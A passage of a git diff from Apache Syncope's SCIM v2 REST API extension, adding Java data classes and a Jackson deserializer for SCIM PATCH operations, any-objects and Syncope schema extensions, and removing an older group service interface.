@JsonProperty("created") final OffsetDateTime created, @JsonProperty("lastModified") final OffsetDateTime lastModified, @JsonProperty("version") final String version, @@ -56,7 +55,7 @@ public Meta( this.location = location; } - public Resource getResourceType() { + public String getResourceType() { return resourceType; } diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/Reference.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/Reference.java index a00c79331b0..c051794f3a7 100644 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/Reference.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/Reference.java @@ -42,5 +42,4 @@ public String getDisplay() { public String getRef() { return ref; } - } diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/ResourceType.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/ResourceType.java index feb271419a8..ba79d1523b0 100644 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/ResourceType.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/ResourceType.java @@ -92,5 +92,4 @@ public List getSchemaExtensions() { public Meta getMeta() { return meta; } - } diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMAnyObject.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMAnyObject.java new file mode 100644 index 00000000000..5316ae1a3c7 --- /dev/null +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMAnyObject.java @@ -0,0 +1,90 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.ext.scimv2.api.data; + +import com.fasterxml.jackson.annotation.JsonAnyGetter; +import com.fasterxml.jackson.annotation.JsonAnySetter; +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonIgnore; +import com.fasterxml.jackson.annotation.JsonProperty; +import com.fasterxml.jackson.annotation.JsonPropertyOrder; +import java.util.List; +import java.util.Map; + +@JsonPropertyOrder({ "schemas", "id", "externalId", "displayName", "extensionInfo", "meta" }) +public class SCIMAnyObject extends SCIMResource { + + @JsonIgnore + private String extensionUrn; + + @JsonIgnore + private SCIMExtensionInfo extensionInfo; + + @JsonCreator(mode = JsonCreator.Mode.PROPERTIES) + public SCIMAnyObject( + @JsonProperty("id") final String id, + @JsonProperty("schemas") final List schemas, + @JsonProperty("meta") final Meta meta, + @JsonProperty("displayName") final String displayName) { + + super(id, schemas, meta); + super.setDisplayName(displayName); + this.extensionUrn = schemas.isEmpty() ? null : schemas.get(0); + } + + @JsonAnyGetter + public Map getExtensionAsMap() { + if (extensionUrn != null && extensionInfo != null && !extensionInfo.isEmpty()) { + return Map.of(extensionUrn, extensionInfo); + } + return Map.of(); + } + + @JsonAnySetter + public void setDynamicExtension(final String key, final Object value) { + if (key.startsWith("urn:ietf:params:scim:schemas:extension:syncope:2.0:")) { + this.extensionUrn = key; + + if (value instanceof Map) { + SCIMExtensionInfo info = new SCIMExtensionInfo(); + Map rawMap = (Map) value; + for (Map.Entry entry : rawMap.entrySet()) { + info.add(entry.getKey().toString(), entry.getValue().toString()); + } + this.extensionInfo = info; + } + } + } + + public String getExtensionUrn() { + return extensionUrn; + } + + public void setExtensionUrn(final String extensionUrn) { + this.extensionUrn = extensionUrn; + } + + public SCIMExtensionInfo getExtensionInfo() { + return extensionInfo; + } + + public void setExtensionInfo(final SCIMExtensionInfo extensionInfo) { + this.extensionInfo = extensionInfo; + } +} diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMComplexValue.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMComplexValue.java index 94c43203680..039e909fbb5 100644 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMComplexValue.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMComplexValue.java @@ -66,6 +66,6 @@ public void setPrimary(final boolean primary) { @JsonIgnore public boolean isEmpty() { - return value == null && display == null && type == null; + return value == null && display == null; } } diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMError.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMError.java index f4f29e078ae..112da2b461d 100644 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMError.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMError.java @@ -73,5 +73,4 @@ public String getDetail() { public int getStatus() { return status; } - } diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMExtensionInfo.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMExtensionInfo.java new file mode 100644 index 00000000000..570ee800532 --- /dev/null +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMExtensionInfo.java @@ -0,0 +1,47 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.ext.scimv2.api.data; + +import com.fasterxml.jackson.annotation.JsonAnySetter; +import com.fasterxml.jackson.annotation.JsonIgnore; +import com.fasterxml.jackson.annotation.JsonValue; +import java.util.HashMap; +import java.util.Map; + +public class SCIMExtensionInfo extends SCIMBean { + + private static final long serialVersionUID = 1310985252565467391L; + + private final Map attributes = new HashMap<>(); + + @JsonValue + public Map getAttributes() { + return attributes; + } + + @JsonAnySetter + public void add(final String key, final String value) { + attributes.put(key, value); + } + + @JsonIgnore + public boolean isEmpty() { + return attributes.isEmpty(); + } +} diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMGroup.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMGroup.java index e2af957d4b6..248f09ab255 100644 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMGroup.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMGroup.java @@ -23,37 +23,37 @@ import com.fasterxml.jackson.annotation.JsonPropertyOrder; import java.util.ArrayList; import java.util.List; -import org.apache.syncope.ext.scimv2.api.type.Resource; -@JsonPropertyOrder({ "schemas", "id", "externalId", "displayName", "members", "meta" }) +@JsonPropertyOrder({ "schemas", "id", "externalId", "displayName", "members", "extensionInfo", "meta" }) public class SCIMGroup extends SCIMResource { private static final long serialVersionUID = -2935466041674390279L; - private String displayName; - private final List members = new ArrayList<>(); + @JsonProperty("urn:ietf:params:scim:schemas:extension:syncope:2.0:Group") + private SCIMExtensionInfo extensionInfo; + @JsonCreator(mode = JsonCreator.Mode.PROPERTIES) public SCIMGroup( @JsonProperty("id") final String id, + @JsonProperty("schemas") final List schemas, @JsonProperty("meta") final Meta meta, @JsonProperty("displayName") final String displayName) { - super(id, List.of(Resource.Group.schema()), meta); - this.displayName = displayName; + super(id, schemas, meta); + super.setDisplayName(displayName); } - public void setDisplayName(final String displayName) { - this.displayName = displayName; + public List getMembers() { + return members; } - public String getDisplayName() { - return displayName; + public SCIMExtensionInfo getExtensionInfo() { + return extensionInfo; } - public List getMembers() { - return members; + public void setExtensionInfo(final SCIMExtensionInfo extensionInfo) { + this.extensionInfo = extensionInfo; } - } diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/widgets/reconciliation/Anys.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMPatchOp.java similarity index 55% rename from client/idrepo/console/src/main/java/org/apache/syncope/client/console/widgets/reconciliation/Anys.java rename to ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMPatchOp.java index 2d35e144b86..eb713e95ea2 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/widgets/reconciliation/Anys.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMPatchOp.java @@ -16,40 +16,30 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.client.console.widgets.reconciliation; +package org.apache.syncope.ext.scimv2.api.data; -import java.io.Serializable; -import java.util.ArrayList; +import com.fasterxml.jackson.annotation.JsonProperty; import java.util.List; +import org.apache.syncope.ext.scimv2.api.type.Resource; -public class Anys implements Serializable { +public class SCIMPatchOp extends SCIMBean { - private static final long serialVersionUID = -2482591351364634179L; + private static final long serialVersionUID = 3957352317667344898L; - private int total; + private final List schemas = List.of(Resource.PatchOp.schema()); - private String anyType; + @JsonProperty("Operations") + private List operations; - private final List anys = new ArrayList<>(); - - public int getTotal() { - return total; - } - - public void setTotal(final int total) { - this.total = total; + public List getSchemas() { + return schemas; } - public String getAnyType() { - return anyType; + public List getOperations() { + return operations; } - public void setAnyType(final String anyType) { - this.anyType = anyType; + public void setOperations(final List operations) { + this.operations = operations; } - - public List getAnys() { - return anys; - } - } diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/widgets/reconciliation/ReconciliationReport.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMPatchOperation.java similarity index 52% rename from client/idrepo/console/src/main/java/org/apache/syncope/client/console/widgets/reconciliation/ReconciliationReport.java rename to ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMPatchOperation.java index 6853f8d81d3..1421baff894 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/widgets/reconciliation/ReconciliationReport.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMPatchOperation.java @@ -16,50 +16,45 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.client.console.widgets.reconciliation; +package org.apache.syncope.ext.scimv2.api.data; +import com.fasterxml.jackson.databind.annotation.JsonDeserialize; import java.io.Serializable; -import java.time.OffsetDateTime; -import java.util.ArrayList; import java.util.List; +import org.apache.syncope.ext.scimv2.api.type.PatchOp; -public class ReconciliationReport implements Serializable { +@JsonDeserialize(using = SCIMPatchOperationDeserializer.class) +public class SCIMPatchOperation extends SCIMBean { - private static final long serialVersionUID = 931063230006747313L; + private static final long serialVersionUID = 1802654766651071823L; - private final OffsetDateTime run; + private PatchOp op; - private Anys users; + private SCIMPatchPath path; - private Anys groups; + private List value; - private final List anyObjects = new ArrayList<>(); - - public ReconciliationReport(final OffsetDateTime run) { - this.run = run; - } - - public OffsetDateTime getRun() { - return run; + public PatchOp getOp() { + return op; } - public Anys getUsers() { - return users; + public void setOp(final PatchOp op) { + this.op = op; } - public void setUsers(final Anys users) { - this.users = users; + public SCIMPatchPath getPath() { + return path; } - public Anys getGroups() { - return groups; + public void setPath(final SCIMPatchPath path) { + this.path = path; } - public void setGroups(final Anys groups) { - this.groups = groups; + public List getValue() { + return value; } - public List getAnyObjects() { - return anyObjects; + public void setValue(final List value) { + this.value = value; } } diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMPatchOperationDeserializer.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMPatchOperationDeserializer.java new file mode 100644 index 00000000000..5101bbf3a4f --- /dev/null +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMPatchOperationDeserializer.java @@ -0,0 +1,227 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.ext.scimv2.api.data; + +import com.fasterxml.jackson.core.JsonParser; +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.DeserializationContext; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.deser.std.StdDeserializer; +import java.io.IOException; +import java.io.Serializable; +import java.util.List; +import java.util.Optional; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import org.apache.cxf.common.util.StringUtils; +import org.apache.syncope.ext.scimv2.api.type.PatchOp; + +public class SCIMPatchOperationDeserializer extends StdDeserializer { + + private static final long serialVersionUID = -7401353969242788372L; + + private static final Pattern PATH_PATTERN = Pattern.compile( + "^(?[A-Za-z0-9:.]+:)?(?\\w+)(?\\[.*\\])?(?\\.\\w+)?"); + + private static Serializable scalar(final JsonNode v) { + if (v.isNull()) { + return null; + } + if (v.isBoolean()) { + return v.booleanValue(); + } + if (v.isFloat()) { + return v.floatValue(); + } + if (v.isDouble()) { + return v.doubleValue(); + } + if (v.isInt()) { + return v.intValue(); + } + if (v.isShort()) { + return v.shortValue(); + } + if (v.isLong()) { + return v.longValue(); + } + + return v.asText(); + } + + public SCIMPatchOperationDeserializer() { + this(null); + } + + public SCIMPatchOperationDeserializer(final Class vc) { + super(vc); + } + + @Override + public SCIMPatchOperation deserialize(final JsonParser jp, final DeserializationContext ctxt) + throws IOException, JsonProcessingException { + + JsonNode node = jp.getCodec().readTree(jp); + + SCIMPatchOperation scimPatchOperation = new SCIMPatchOperation(); + + if (node.has("op")) { + scimPatchOperation.setOp(PatchOp.valueOf(node.get("op").asText().toLowerCase())); + } + + if (node.has("path")) { + Matcher matcher = PATH_PATTERN.matcher(node.get("path").asText()); + if (matcher.matches()) { + SCIMPatchPath path = new SCIMPatchPath(); + scimPatchOperation.setPath(path); + + Optional.ofNullable(matcher.group("schema")). + ifPresent(schema -> path.setSchema(schema.substring(0, schema.length() - 1))); + + path.setAttribute(StringUtils.uncapitalize(matcher.group("attribute"))); + + Optional.ofNullable(matcher.group("filter")). + ifPresent(condition -> path.setFilter(condition.substring(1, condition.length() - 1))); + + Optional.ofNullable(matcher.group("sub")). + ifPresent(sub -> path.setSub(StringUtils.uncapitalize(sub.substring(1)))); + } + } + + if (node.has("value")) { + JsonNode value = node.get("value"); + + if (scimPatchOperation.getPath() == null) { + scimPatchOperation.setValue(List.of(jp.getCodec().treeToValue(value, SCIMUser.class))); + } else { + if ("members".equals(scimPatchOperation.getPath().getAttribute())) { + scimPatchOperation.setValue(List.of( + (Serializable[]) jp.getCodec().treeToValue(value, Member[].class))); + } else if (value.isObject()) { + SCIMUser user = new SCIMUser( + null, + List.of(), + null, + "userName".equals(scimPatchOperation.getPath().getAttribute()) ? value.asText() : null, + "active".equals(scimPatchOperation.getPath().getAttribute()) ? value.asBoolean() : null); + user.setEnterpriseInfo(new SCIMEnterpriseInfo()); + + switch (scimPatchOperation.getPath().getAttribute()) { + case "externalId": + user.setExternalId(value.asText()); + break; + + case "name": + user.setName(jp.getCodec().treeToValue(value, SCIMUserName.class)); + break; + + case "displayName": + user.setDisplayName(value.asText()); + break; + + case "nickName": + user.setNickName(value.asText()); + break; + + case "profileUrl": + user.setProfileUrl(value.asText()); + break; + + case "title": + user.setTitle(value.asText()); + break; + + case "userType": + user.setUserType(value.asText()); + break; + + case "preferredLanguage": + user.setPreferredLanguage(value.asText()); + break; + + case "locale": + user.setLocale(value.asText()); + break; + + case "timezone": + user.setTimezone(value.asText()); + break; + + case "emails": + user.getEmails().add(jp.getCodec().treeToValue(value, SCIMComplexValue.class)); + break; + + case "phoneNumbers": + user.getPhoneNumbers().add(jp.getCodec().treeToValue(value, SCIMComplexValue.class)); + break; + + case "ims": + user.getIms().add(jp.getCodec().treeToValue(value, SCIMComplexValue.class)); + break; + + case "photos": + user.getPhotos().add(jp.getCodec().treeToValue(value, SCIMComplexValue.class)); + break; + + case "addresses": + user.getAddresses().add(jp.getCodec().treeToValue(value, SCIMUserAddress.class)); + break; + + case "x509Certificates": + user.getX509Certificates().add(jp.getCodec().treeToValue(value, Value.class)); + break; + + case "employeeNumber": + user.getEnterpriseInfo().setEmployeeNumber(value.asText()); + break; + + case "costCenter": + user.getEnterpriseInfo().setCostCenter(value.asText()); + break; + + case "organization": + user.getEnterpriseInfo().setOrganization(value.asText()); + break; + + case "division": + user.getEnterpriseInfo().setDivision(value.asText()); + break; + + case "department": + user.getEnterpriseInfo().setDepartment(value.asText()); + break; + + case "manager": + user.getEnterpriseInfo(). + setManager(jp.getCodec().treeToValue(value, SCIMUserManager.class)); + break; + + default: + } + + scimPatchOperation.setValue(List.of(user)); + } else if (!value.isContainerNode()) { + scimPatchOperation.setValue(List.of(scalar(value))); + } + } + } + + return scimPatchOperation; + } +} diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMPatchPath.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMPatchPath.java new file mode 100644 index 00000000000..f3873a26761 --- /dev/null +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMPatchPath.java @@ -0,0 +1,66 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.ext.scimv2.api.data; + +import java.io.Serializable; + +public class SCIMPatchPath implements Serializable { + + private static final long serialVersionUID = -1092849408316419356L; + + private String schema; + + private String attribute; + + private String filter; + + private String sub; + + public String getSchema() { + return schema; + } + + public void setSchema(final String schema) { + this.schema = schema; + } + + public String getAttribute() { + return attribute; + } + + public void setAttribute(final String attribute) { + this.attribute = attribute; + } + + public String getFilter() { + return filter; + } + + public void setFilter(final String filter) { + this.filter = filter; + } + + public String getSub() { + return sub; + } + + public void setSub(final String sub) { + this.sub = sub; + } +} diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMResource.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMResource.java index d9bdccc17dc..566416f5dd3 100644 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMResource.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMResource.java @@ -29,11 +29,13 @@ public abstract class SCIMResource extends SCIMBean { private String externalId; + private String displayName; + private final List schemas; private final Meta meta; - public SCIMResource(final String id, final List schemas, final Meta meta) { + protected SCIMResource(final String id, final List schemas, final Meta meta) { this.id = id; this.schemas = Optional.ofNullable(schemas).orElse(List.of()); this.meta = meta; @@ -59,4 +61,11 @@ public String getExternalId() { return externalId; } + public String getDisplayName() { + return displayName; + } + + public void setDisplayName(final String displayName) { + this.displayName = displayName; + } } diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMSearchRequest.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMSearchRequest.java index 2322efa4cd4..03bd0d7f17b 100644 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMSearchRequest.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMSearchRequest.java @@ -92,5 +92,4 @@ public int getStartIndex() { public int getCount() { return Optional.ofNullable(count).orElse(25); } - } diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMUser.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMUser.java index 775b1ad7217..ccd34ed98cc 100644 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMUser.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SCIMUser.java @@ -19,17 +19,19 @@ package org.apache.syncope.ext.scimv2.api.data; import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonIgnore; import com.fasterxml.jackson.annotation.JsonProperty; import com.fasterxml.jackson.annotation.JsonPropertyOrder; import java.util.ArrayList; import java.util.List; +import java.util.Optional; @JsonPropertyOrder({ "schemas", "id", "externalId", "userName", "password", "active", "name", "displayName", "nickName", "profileUrl", "title", "userType", "preferredLanguage", "locale", "timezone", "emails", "phoneNumbers", "ims", "photos", "addresses", "x509Certificates", "groups", "entitlements", "roles", - "enterpriseInfo", + "enterpriseInfo", "extensionInfo", "meta" }) public class SCIMUser extends SCIMResource { @@ -39,12 +41,10 @@ public class SCIMUser extends SCIMResource { private String password; - private final boolean active; + private final Boolean active; private SCIMUserName name; - private String displayName; - private String nickName; private String profileUrl; @@ -80,13 +80,16 @@ public class SCIMUser extends SCIMResource { @JsonProperty("urn:ietf:params:scim:schemas:extension:enterprise:2.0:User") private SCIMEnterpriseInfo enterpriseInfo; + @JsonProperty("urn:ietf:params:scim:schemas:extension:syncope:2.0:User") + private SCIMExtensionInfo extensionInfo; + @JsonCreator(mode = JsonCreator.Mode.PROPERTIES) public SCIMUser( @JsonProperty("id") final String id, @JsonProperty("schemas") final List schemas, @JsonProperty("meta") final Meta meta, @JsonProperty("userName") final String userName, - @JsonProperty("active") final boolean active) { + @JsonProperty("active") final Boolean active) { super(id, schemas, meta); this.userName = userName; @@ -105,10 +108,15 @@ public String getPassword() { return password; } - public boolean isActive() { + @JsonIgnore + public Boolean getActive() { return active; } + public boolean isActive() { + return Optional.ofNullable(active).orElse(true); + } + public SCIMUserName getName() { return name; } @@ -117,14 +125,6 @@ public void setName(final SCIMUserName name) { this.name = name; } - public String getDisplayName() { - return displayName; - } - - public void setDisplayName(final String displayName) { - this.displayName = displayName; - } - public String getNickName() { return nickName; } @@ -225,4 +225,11 @@ public void setEnterpriseInfo(final SCIMEnterpriseInfo enterpriseInfo) { this.enterpriseInfo = enterpriseInfo; } + public SCIMExtensionInfo getExtensionInfo() { + return extensionInfo; + } + + public void setExtensionInfo(final SCIMExtensionInfo extensionInfo) { + this.extensionInfo = extensionInfo; + } } diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SchemaExtension.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SchemaExtension.java index fb2fe2e5480..ae74926f9c2 100644 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SchemaExtension.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/SchemaExtension.java @@ -45,5 +45,4 @@ public String getSchema() { public boolean isRequired() { return required; } - } diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/ServiceProviderConfig.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/ServiceProviderConfig.java index a65775d87ae..9e03c96c28c 100644 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/ServiceProviderConfig.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/ServiceProviderConfig.java @@ -103,5 +103,4 @@ public ConfigurationOption getEtag() { public List getAuthenticationSchemes() { return authenticationSchemes; } - } diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/Value.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/Value.java index 543f0003b2e..e68a8108fd2 100644 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/Value.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/Value.java @@ -35,5 +35,4 @@ public Value(@JsonProperty("value") final String value) { public String getValue() { return value; } - } diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/service/GroupService.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/service/GroupService.java deleted file mode 100644 index 8010218a750..00000000000 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/service/GroupService.java +++ /dev/null @@ -1,58 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.ext.scimv2.api.service; - -import javax.validation.constraints.NotNull; -import javax.ws.rs.Consumes; -import javax.ws.rs.DELETE; -import javax.ws.rs.POST; -import javax.ws.rs.PUT; -import javax.ws.rs.Path; -import javax.ws.rs.PathParam; -import javax.ws.rs.Produces; -import javax.ws.rs.core.Response; -import org.apache.cxf.jaxrs.ext.PATCH; -import org.apache.syncope.ext.scimv2.api.SCIMConstants; -import org.apache.syncope.ext.scimv2.api.data.SCIMGroup; - -@Path("v2/Groups") -public interface GroupService extends ReadService { - - @POST - @Produces({ SCIMConstants.APPLICATION_SCIM_JSON }) - @Consumes({ SCIMConstants.APPLICATION_SCIM_JSON }) - Response create(SCIMGroup group); - - @PATCH - @Path("{id}") - @Produces({ SCIMConstants.APPLICATION_SCIM_JSON }) - @Consumes({ SCIMConstants.APPLICATION_SCIM_JSON }) - Response update(@NotNull @PathParam("id") String id); - - @PUT - @Path("{id}") - @Produces({ SCIMConstants.APPLICATION_SCIM_JSON }) - @Consumes({ SCIMConstants.APPLICATION_SCIM_JSON }) - Response replace(@NotNull @PathParam("id") String id, SCIMGroup group); - - @DELETE - @Path("{id}") - @Produces({ SCIMConstants.APPLICATION_SCIM_JSON }) - Response delete(@NotNull @PathParam("id") String id); -} diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/service/SCIMAnyObjectService.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/service/SCIMAnyObjectService.java new file mode 100644 index 00000000000..5572a30ab0b --- /dev/null +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/service/SCIMAnyObjectService.java @@ -0,0 +1,26 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.ext.scimv2.api.service; + +import javax.ws.rs.Path; +import org.apache.syncope.ext.scimv2.api.data.SCIMAnyObject; + +@Path("v2/AnyObjects") +public interface SCIMAnyObjectService extends SCIMResourceService { +} diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/service/SCIMGroupService.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/service/SCIMGroupService.java new file mode 100644 index 00000000000..9bb259de223 --- /dev/null +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/service/SCIMGroupService.java @@ -0,0 +1,26 @@ +/* + * Licensed to the Apache Software Foundation 